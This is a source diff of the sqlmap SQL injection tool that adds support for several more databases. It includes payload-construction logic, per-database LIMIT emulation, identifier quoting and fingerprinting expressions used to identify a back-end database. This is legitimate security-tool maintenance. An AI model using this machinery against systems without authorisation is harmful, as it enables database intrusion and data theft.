+from lib.core.settings import GENERIC_SQL_COMMENT_MARKER
 from lib.core.settings import INFERENCE_MARKER
 from lib.core.settings import NULL
 from lib.core.settings import PAYLOAD_DELIMITER
@@ -184,8 +188,10 @@ class Agent(object):
            else:
                newValue = self.addPayloadDelimiters(newValue)

-            newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
-            retVal = paramString.replace(_, newValue)
+            if newValue:
+                newValue = newValue.replace(kb.customInjectionMark, REPLACEMENT_MARKER)
+                retVal = paramString.replace(_, newValue)
+
            retVal = retVal.replace(kb.customInjectionMark, "").replace(REPLACEMENT_MARKER, kb.customInjectionMark)
        elif BOUNDED_INJECTION_MARKER in paramDict[parameter]:
            retVal = paramString.replace("%s%s" % (origValue, BOUNDED_INJECTION_MARKER), self.addPayloadDelimiters(newValue))
@@ -247,7 +253,7 @@ class Agent(object):

        # If we are replacing (<where>) the parameter original value with
        # our payload do not prepend with the prefix
-        if where == PAYLOAD.WHERE.REPLACE:
+        if where == PAYLOAD.WHERE.REPLACE and not conf.prefix:  # Note: https://github.com/sqlmapproject/sqlmap/issues/4030
            query = ""

        # If the technique is stacked queries (<stype>) do not put a space
@@ -294,8 +300,8 @@ class Agent(object):
            where = getTechniqueData().where if where is None else where
            comment = getTechniqueData().comment if comment is None else comment

-        if Backend.getIdentifiedDbms() == DBMS.ACCESS and any((comment or "").startswith(_) for _ in ("--", "[GENERIC_SQL_COMMENT]")):
-            comment = queries[DBMS.ACCESS].comment.query
+        if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI) and any((comment or "").startswith(_) for _ in ("--", GENERIC_SQL_COMMENT_MARKER)):
+            comment = queries[Backend.getIdentifiedDbms()].comment.query

        if comment is not None:
            expression += comment
@@ -381,6 +387,11 @@ class Agent(object):
            for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
                payload = payload.replace(_, randomStr())

+            if hashDBRetrieve(HASHDB_KEYS.DBMS_FORK) in (FORK.MEMSQL, FORK.TIDB):
+                payload = re.sub(r"(?i)\bORD\(", "ASCII(", payload)
+                payload = re.sub(r"(?i)\bMID\(", "SUBSTR(", payload)
+                payload = re.sub(r"(?i)\bNCHAR\b", "CHAR", payload)
+
        return payload

    def getComment(self, request):
@@ -446,7 +457,7 @@ class Agent(object):
            else:
                if not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
                    nulledCastedField = rootQuery.cast.query % field
-                if Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
+                if Backend.getIdentifiedDbms() in (DBMS.ACCESS, DBMS.MCKOI):
                    nulledCastedField = rootQuery.isnull.query % (nulledCastedField, nulledCastedField)
                else:
                    nulledCastedField = rootQuery.isnull.query % nulledCastedField
@@ -648,7 +659,7 @@ class Agent(object):
            elif fieldsNoSelect:
                concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)

-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL):
            if fieldsExists:
                concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
                concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -937,10 +948,28 @@ class Agent(object):
        fromFrom = limitedQuery[fromIndex + 1:]
        orderBy = None

-        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
+        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL):
            limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
            limitedQuery += " %s" % limitStr

+        elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE,):
+            limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num + 1, 1)
+            limitedQuery += " %s" % limitStr
+
+        elif Backend.getIdentifiedDbms() in (DBMS.DERBY,):
+            limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (1, num)
+            limitedQuery += " %s" % limitStr
+
+        elif Backend.getIdentifiedDbms() in (DBMS.MONETDB,):
+            if query.startswith("SELECT ") and field is not None and field in query:
+                original = query.split("SELECT ", 1)[1].split(" FROM", 1)[0]
+                for part in original.split(','):
+                    if re.search(r"\b%s\b" % re.escape(field), part):
+                        _ = re.sub(r"SELECT.+?FROM", "SELECT %s AS z,row_number() over() AS y FROM" % part, query, 1)
+                        replacement = "SELECT x.z FROM (%s)x WHERE x.y-1=%d" % (_, num)
+                        limitedQuery = replacement
+                        break
+
        elif Backend.isDbms(DBMS.HSQLDB):
            match = re.search(r"ORDER BY [^ ]+", limitedQuery)
            if match:
@@ -1036,12 +1065,15 @@ class Agent(object):
    def forgeQueryOutputLength(self, expression):
        lengthQuery = queries[Backend.getIdentifiedDbms()].length.query
        select = re.search(r"\ASELECT\s+", expression, re.I)
+        selectFrom = re.search(r"\ASELECT\s+(.+)\s+FROM\s+(.+)", expression, re.I)
        selectTopExpr = re.search(r"\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", expression, re.I)
        selectMinMaxExpr = re.search(r"\ASELECT\s+(MIN|MAX)\(.+?\)\s+FROM", expression, re.I)

        _, _, _, _, _, _, fieldsStr, _ = self.getFields(expression)

-        if selectTopExpr or selectMinMaxExpr:
+        if Backend.getIdentifiedDbms() in (DBMS.MCKOI,) and selectFrom:
+            lengthExpr = "SELECT %s FROM %s" % (lengthQuery % selectFrom.group(1), selectFrom.group(2))
+        elif selectTopExpr or selectMinMaxExpr:
            lengthExpr = lengthQuery % ("(%s)" % expression)
        elif select:
            lengthExpr = expression.replace(fieldsStr, lengthQuery % fieldsStr, 1)
--- a/lib/core/bigarray.py
+++ b/lib/core/bigarray.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -40,7 +40,6 @@ import unicodedata
 from difflib import SequenceMatcher
 from math import sqrt
 from optparse import OptionValueError
-from xml.dom import minidom
 from xml.sax import parse
 from xml.sax import SAXParseException

@@ -139,6 +138,7 @@ from lib.core.settings import IS_TTY
 from lib.core.settings import IS_WIN
 from lib.core.settings import LARGE_OUTPUT_THRESHOLD
 from lib.core.settings import LOCALHOST
+from lib.core.settings import MAX_INT
 from lib.core.settings import MIN_ENCODED_LEN_CHECK
 from lib.core.settings import MIN_ERROR_PARSING_NON_WRITING_RATIO
 from lib.core.settings import MIN_TIME_RESPONSES
@@ -147,6 +147,7 @@ from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES
 from lib.core.settings import NULL
 from lib.core.settings import PARAMETER_AMP_MARKER
 from lib.core.settings import PARAMETER_SEMICOLON_MARKER
+from lib.core.settings import PARAMETER_PERCENTAGE_MARKER
 from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
 from lib.core.settings import PARTIAL_VALUE_MARKER
 from lib.core.settings import PAYLOAD_DELIMITER
@@ -1080,7 +1081,7 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
        logger.debug(debugMsg)

    if retVal is None:
-        if checkBatch and conf.get("batch") or conf.get("api"):
+        if checkBatch and conf.get("batch") or any(conf.get(_) for _ in ("api", "nonInteractive")):
            if isListLike(default):
                options = ','.join(getUnicode(opt, UNICODE_ENCODING) for opt in default)
            elif default:
@@ -1104,7 +1105,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False):
                dataToStdout("%s" % message, forceOutput=not kb.wizardMode, bold=True)
                kb.prependFlag = False

-                retVal = _input().strip() or default
+                retVal = _input()
+                if not retVal:  # Note: Python doesn't print newline on empty input
+                    dataToStdout("\n")
+                retVal = retVal.strip() or default
                retVal = getUnicode(retVal, encoding=sys.stdin.encoding) if retVal else retVal
            except:
                try:
@@ -1123,8 +1127,10 @@ def readInput(message, default=None, checkBatch=True, boolean=False):

    if boolean:
        retVal = retVal.strip().upper() == 'Y'
+    else:
+        retVal = retVal or ""

-    return retVal or ""
+    return retVal

 def setTechnique(technique):
    """
@@ -1372,7 +1378,6 @@ def setPaths(rootPath):
    paths.SQLMAP_EXTRAS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "extra")
    paths.SQLMAP_SETTINGS_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "lib", "core", "settings.py")
    paths.SQLMAP_TAMPER_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "tamper")
-    paths.SQLMAP_WAF_PATH = os.path.join(paths.SQLMAP_ROOT_PATH, "waf")

    paths.SQLMAP_PROCS_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "procs")
    paths.SQLMAP_SHELL_PATH = os.path.join(paths.SQLMAP_DATA_PATH, "shell")
@@ -1393,7 +1398,6 @@ def setPaths(rootPath):
    paths.WORDLIST = os.path.join(paths.SQLMAP_TXT_PATH, "wordlist.tx_")
    paths.ERRORS_XML = os.path.join(paths.SQLMAP_XML_PATH, "errors.xml")
    paths.BOUNDARIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "boundaries.xml")
-    paths.LIVE_TESTS_XML = os.path.join(paths.SQLMAP_XML_PATH, "livetests.xml")
    paths.QUERIES_XML = os.path.join(paths.SQLMAP_XML_PATH, "queries.xml")
    paths.GENERIC_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "generic.xml")
    paths.MSSQL_XML = os.path.join(paths.SQLMAP_XML_BANNER_PATH, "mssql.xml")
@@ -1458,7 +1462,7 @@ def parseTargetDirect():
    remote = False

    for dbms in SUPPORTED_DBMS:
-        details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.+?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)
+        details = re.search(r"^(?P<dbms>%s)://(?P<credentials>(?P<user>.*?)\:(?P<pass>.*)\@)?(?P<remote>(?P<hostname>[\w.-]+?)\:(?P<port>[\d]+)\/)?(?P<db>[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I)

        if details:
            conf.dbms = details.group("dbms")
@@ -1643,7 +1647,7 @@ def parseTargetUrl():
        if '=' not in urlSplit.query:
            conf.url = "%s?%s" % (conf.url, getUnicode(urlSplit.query))
        else:
-            conf.parameters[PLACE.GET] = urldecode(urlSplit.query) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query
+            conf.parameters[PLACE.GET] = urldecode(urlSplit.query, spaceplus=not conf.base64Parameter) if urlSplit.query and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in urlSplit.query else urlSplit.query

    if not conf.referer and (intersect(REFERER_ALIASES, conf.testParameter, True) or conf.level >= 3):
        debugMsg = "setting the HTTP Referer header to the target URL"
@@ -2018,6 +2022,8 @@ def safeStringFormat(format_, params):
        if retVal.count("%s", start, end) == len(params):
            for param in params:
                index = retVal.find("%s", start)
+                if isinstance(param, six.string_types):
+                    param = param.replace('%', PARAMETER_PERCENTAGE_MARKER)
                retVal = retVal[:index] + getUnicode(param) + retVal[index + 2:]
        else:
            if any('%s' in _ for _ in conf.parameters.values()):
@@ -2043,7 +2049,7 @@ def safeStringFormat(format_, params):
                else:
                    break

-    retVal = getText(retVal)
+    retVal = getText(retVal).replace(PARAMETER_PERCENTAGE_MARKER, '%')

    return retVal

@@ -2315,16 +2321,6 @@ def readCachedFileContent(filename, mode="rb"):

    return kb.cache.content[filename]

-def readXmlFile(xmlFile):
-    """
-    Reads XML file content and returns its DOM representation
-    """
-
-    checkFile(xmlFile)
-    retVal = minidom.parse(xmlFile).documentElement
-
-    return retVal
-
 def average(values):
    """
    Computes the arithmetic mean of a list of numbers.
@@ -3003,9 +2999,11 @@ def isNumPosStrValue(value):
    False
    >>> isNumPosStrValue('-2')
    False
+    >>> isNumPosStrValue('100000000000000000000')
+    False
    """

-    return (hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)
+    return ((hasattr(value, "isdigit") and value.isdigit() and int(value) > 0) or (isinstance(value, int) and value > 0)) and int(value) < MAX_INT

@cachedmethod
 def aliasToDbmsEnum(dbms):
@@ -4074,9 +4072,9 @@ def safeSQLIdentificatorNaming(name, isTable=False):

            if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):  # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users)
                retVal = "`%s`" % retVal
-            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX):
+            elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO):
                retVal = "\"%s\"" % retVal
-            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
+            elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
                retVal = "\"%s\"" % retVal.upper()
            elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
                if isTable:
@@ -4112,9 +4110,9 @@ def unsafeSQLIdentificatorNaming(name):
    if isinstance(name, six.string_types):
        if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE):
            retVal = name.replace("`", "")
-        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB):
+        elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO):
            retVal = name.replace("\"", "")
-        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
+        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.ALTIBASE, DBMS.MIMERSQL):
            retVal = name.replace("\"", "").upper()
        elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
            retVal = name.replace("[", "").replace("]", "")
--- a/lib/core/compat.py
+++ b/lib/core/compat.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/core/convert.py
+++ b/lib/core/convert.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -19,6 +19,7 @@ import re
 import sys

 from lib.core.bigarray import BigArray
+from lib.core.compat import xrange
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA
@@ -226,7 +227,7 @@ def encodeBase64(value, binary=True, encoding=None):

    return retVal

-def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):
+def getBytes(value, encoding=None, errors="strict", unsafe=True):
    """
    Returns byte representation of provided Unicode value

@@ -236,9 +237,12 @@ def getBytes(value, encoding=UNICODE_ENCODING, errors="strict", unsafe=True):

    retVal = value

+    if encoding is None:
+        encoding = conf.get("encoding") or UNICODE_ENCODING
+
    try:
        codecs.lookup(encoding)
-    except LookupError:
+    except (LookupError, TypeError):
        encoding = UNICODE_ENCODING

    if isinstance(value, six.text_type):
@@ -299,7 +303,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
        for candidate in candidates:
            try:
                return six.text_type(value, candidate)
-            except UnicodeDecodeError:
+            except (UnicodeDecodeError, LookupError):
                pass

        try:
--- a/lib/core/data.py
+++ b/lib/core/data.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/core/datatype.py
+++ b/lib/core/datatype.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/core/decorators.py
+++ b/lib/core/decorators.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -28,7 +28,7 @@ def cachedmethod(f):
    >>> __ = cachedmethod(lambda *args, **kwargs: args[0])
    >>> __(2)
    2
-    >>> __ = cachedmethod(lambda *args, **kwargs: list(kwargs.values())[0])
+    >>> __ = cachedmethod(lambda *args, **kwargs: next(iter(kwargs.values())))
    >>> __(foobar=3)
    3

--- a/lib/core/defaults.py
+++ b/lib/core/defaults.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/core/dicts.py
+++ b/lib/core/dicts.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -10,20 +10,27 @@ from lib.core.enums import DBMS
 from lib.core.enums import OS
 from lib.core.enums import POST_HINT
 from lib.core.settings import ACCESS_ALIASES
+from lib.core.settings import ALTIBASE_ALIASES
 from lib.core.settings import BLANK
 from lib.core.settings import DB2_ALIASES
+from lib.core.settings import DERBY_ALIASES
 from lib.core.settings import FIREBIRD_ALIASES
 from lib.core.settings import H2_ALIASES
 from lib.core.settings import HSQLDB_ALIASES
 from lib.core.settings import INFORMIX_ALIASES
 from lib.core.settings import MAXDB_ALIASES
+from lib.core.settings import MCKOI_ALIASES
+from lib.core.settings import MIMERSQL_ALIASES
+from lib.core.settings import MONETDB_ALIASES
 from lib.core.settings import MSSQL_ALIASES
 from lib.core.settings import MYSQL_ALIASES
 from lib.core.settings import NULL
 from lib.core.settings import ORACLE_ALIASES
 from lib.core.settings import PGSQL_ALIASES
+from lib.core.settings import PRESTO_ALIASES
 from lib.core.settings import SQLITE_ALIASES
 from lib.core.settings import SYBASE_ALIASES
+from lib.core.settings import VERTICA_ALIASES

 FIREBIRD_TYPES = {
    261: "BLOB",
@@ -198,8 +205,16 @@ DBMS_DICT = {
    DBMS.HSQLDB: (HSQLDB_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & http://jpype.sourceforge.net/", None),
    DBMS.H2: (H2_ALIASES, None, None, None),
    DBMS.INFORMIX: (INFORMIX_ALIASES, "python ibm-db", "https://github.com/ibmdb/python-ibmdb", "ibm_db_sa"),
+    DBMS.MONETDB: (MONETDB_ALIASES, "pymonetdb", "https://github.com/gijzelaerr/pymonetdb", "monetdb"),
+    DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None),
+    DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"),
+    DBMS.MCKOI: (MCKOI_ALIASES, None, None, None),
+    DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None),
+    DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None),
+    DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None),
 }

+# Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
 FROM_DUMMY_TABLE = {
    DBMS.ORACLE: " FROM DUAL",
    DBMS.ACCESS: " FROM MSysAccessObjects",
@@ -207,7 +222,26 @@ FROM_DUMMY_TABLE = {
    DBMS.MAXDB: " FROM VERSIONS",
    DBMS.DB2: " FROM SYSIBM.SYSDUMMY1",
    DBMS.HSQLDB: " FROM INFORMATION_SCHEMA.SYSTEM_USERS",
-    DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL"
+    DBMS.INFORMIX: " FROM SYSMASTER:SYSDUAL",
+    DBMS.DERBY: " FROM SYSIBM.SYSDUMMY1",
+    DBMS.MIMERSQL: " FROM SYSTEM.ONEROW",
+}
+
+HEURISTIC_NULL_EVAL = {
+    DBMS.ACCESS: "CVAR(NULL)",
+    DBMS.MAXDB: "ALPHA(NULL)",
+    DBMS.MSSQL: "DIFFERENCE(NULL,NULL)",
+    DBMS.MYSQL: "QUARTER(NULL)",
+    DBMS.ORACLE: "INSTR2(NULL,NULL)",
+    DBMS.PGSQL: "QUOTE_IDENT(NULL)",
+    DBMS.SQLITE: "UNLIKELY(NULL)",
+    DBMS.MONETDB: "CODE(NULL)",
+    DBMS.DERBY: "NULLIF(USER,SESSION_USER)",
+    DBMS.VERTICA: "BITSTRING_TO_BINARY(NULL)",
+    DBMS.MCKOI: "TONUMBER(NULL)",
+    DBMS.PRESTO: "FROM_HEX(NULL)",
+    DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
+    DBMS.MIMERSQL: "ASCII_CHAR(256) IS NULL",
 }

 SQL_STATEMENTS = {
--- a/lib/core/dump.py
+++ b/lib/core/dump.py
@@ -1,11 +1,10 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

-import cgi
 import hashlib
 import os
 import re
@@ -70,13 +69,12 @@ class Dump(object):
        self._lock = threading.Lock()

    def _write(self, data, newline=True, console=True, content_type=None):
-        if conf.api:
-            dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
-            return
-
        text = "%s%s" % (data, "\n" if newline else " ")

-        if console:
+        if conf.api:
+            dataToStdout(data, content_type=content_type, status=CONTENT_STATUS.COMPLETE)
+
+        elif console:
            dataToStdout(text)

        multiThreadMode = isMultiThreadMode()
@@ -109,16 +107,12 @@ class Dump(object):
            errMsg = "error occurred while opening log file ('%s')" % getSafeExString(ex)
            raise SqlmapGenericException(errMsg)

-    def getOutputFile(self):
-        return self._outputFile
-
    def singleString(self, data, content_type=None):
        self._write(data, content_type=content_type)

    def string(self, header, data, content_type=None, sort=True):
        if conf.api:
            self._write(data, content_type=content_type)
-            return

        if isListLike(data):
            self.lister(header, data, content_type, sort)
@@ -150,7 +144,6 @@ class Dump(object):

        if conf.api:
            self._write(elements, content_type=content_type)
-            return

        if elements:
            self._write("%s [%d]:" % (header, len(elements)))
@@ -173,8 +166,10 @@ class Dump(object):
    def currentDb(self, data):
        if Backend.isDbms(DBMS.MAXDB):
            self.string("current database (no practical usage on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
-        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2):
+        elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA):
            self.string("current schema (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
+        elif Backend.getIdentifiedDbms() in (DBMS.ALTIBASE, DBMS.MIMERSQL):
+            self.string("current user (equivalent to database on %s)" % Backend.getIdentifiedDbms(), data, content_type=CONTENT_TYPE.CURRENT_DB)
        else:
            self.string("current database", data, content_type=CONTENT_TYPE.CURRENT_DB)

@@ -202,7 +197,6 @@ class Dump(object):

        if conf.api:
            self._write(userSettings, content_type=content_type)
-            return

        if userSettings:
            self._write("%s:" % header)
@@ -236,7 +230,6 @@ class Dump(object):
        if isinstance(dbTables, dict) and len(dbTables) > 0:
            if conf.api:
                self._write(dbTables, content_type=CONTENT_TYPE.TABLES)
-                return

            maxlength = 0

@@ -279,7 +272,6 @@ class Dump(object):
        if isinstance(tableColumns, dict) and len(tableColumns) > 0:
            if conf.api:
                self._write(tableColumns, content_type=content_type)
-                return

            for db, tables in tableColumns.items():
                if not db:
@@ -353,7 +345,6 @@ class Dump(object):
        if isinstance(dbTables, dict) and len(dbTables) > 0:
            if conf.api:
                self._write(dbTables, content_type=CONTENT_TYPE.COUNT)
-                return

            maxlength1 = len("Table")
            maxlength2 = len("Entries")
@@ -412,7 +403,6 @@ class Dump(object):

        if conf.api:
            self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
-            return

        dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db))

@@ -650,7 +640,7 @@ class Dump(object):

        if conf.dumpFormat == DUMP_FORMAT.SQLITE:
            rtable.endTransaction()
-            logger.info("table '%s.%s' dumped to sqlite3 database '%s'" % (db, table, replication.dbpath))
+            logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath))

        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
            if conf.dumpFormat == DUMP_FORMAT.HTML:
@@ -668,7 +658,6 @@ class Dump(object):
    def dbColumns(self, dbColumnsDict, colConsider, dbs):
        if conf.api:
            self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS)
-            return

        for column in dbColumnsDict.keys():
            if colConsider == "1":
--- a/lib/core/enums.py
+++ b/lib/core/enums.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

@@ -42,9 +42,16 @@ class DBMS(object):
    PGSQL = "PostgreSQL"
    SQLITE = "SQLite"
    SYBASE = "Sybase"
+    INFORMIX = "Informix"
    HSQLDB = "HSQLDB"
    H2 = "H2"
-    INFORMIX = "Informix"
+    MONETDB = "MonetDB"
+    DERBY = "Apache Derby"
+    VERTICA = "Vertica"
+    MCKOI = "Mckoi"
+    PRESTO = "Presto"
+    ALTIBASE = "Altibase"
+    MIMERSQL = "MimerSQL"

 class DBMS_DIRECTORY_NAME(object):
    ACCESS = "access"
@@ -60,6 +67,22 @@ class DBMS_DIRECTORY_NAME(object):
    HSQLDB = "hsqldb"
    H2 = "h2"
    INFORMIX = "informix"
+    MONETDB = "monetdb"
+    DERBY = "derby"
+    VERTICA = "vertica"
+    MCKOI = "mckoi"
+    PRESTO = "presto"
+    ALTIBASE = "altibase"
+    MIMERSQL = "mimersql"
+
+class FORK(object):
+    MARIADB = "MariaDB"
+    MEMSQL = "MemSQL"
+    PERCONA = "Percona"
+    COCKROACHDB = "CockroachDB"
+    TIDB = "TiDB"
+    REDSHIFT = "Amazon Redshift"
+    GREENPLUM = "Greenplum"

 class CUSTOM_LOGGING(object):
    PAYLOAD = 9
--- a/lib/core/exception.py
+++ b/lib/core/exception.py
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

--- a/lib/core/gui.py
+++ b/lib/core/gui.py
@@ -1,48 +1,55 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
 See the file 'LICENSE' for copying permission
 """

+import os
 import re
 import socket
 import subprocess
 import sys
+import tempfile
 import threading
 import webbrowser

 from lib.core.common import getSafeExString
+from lib.core.common import saveConfig
+from lib.core.data import paths
 from lib.core.defaults import defaults
+from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.exception import SqlmapMissingDependence
 from lib.core.settings import DEV_EMAIL_ADDRESS
+from lib.core.settings import IS_WIN
 from lib.core.settings import ISSUES_PAGE
 from lib.core.settings import GIT_PAGE
 from lib.core.settings import SITE
 from lib.core.settings import VERSION_STRING
 from lib.core.settings import WIKI_PAGE
-from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox
 from thirdparty.six.moves import queue as _queue

+alive = None
 line = ""
 process = None
 queue = None

 def runGui(parser):
    try:
-        import tkinter
-        import tkinter.scrolledtext
-        import tkinter.ttk
+        from thirdparty.six.moves import tkinter as _tkinter
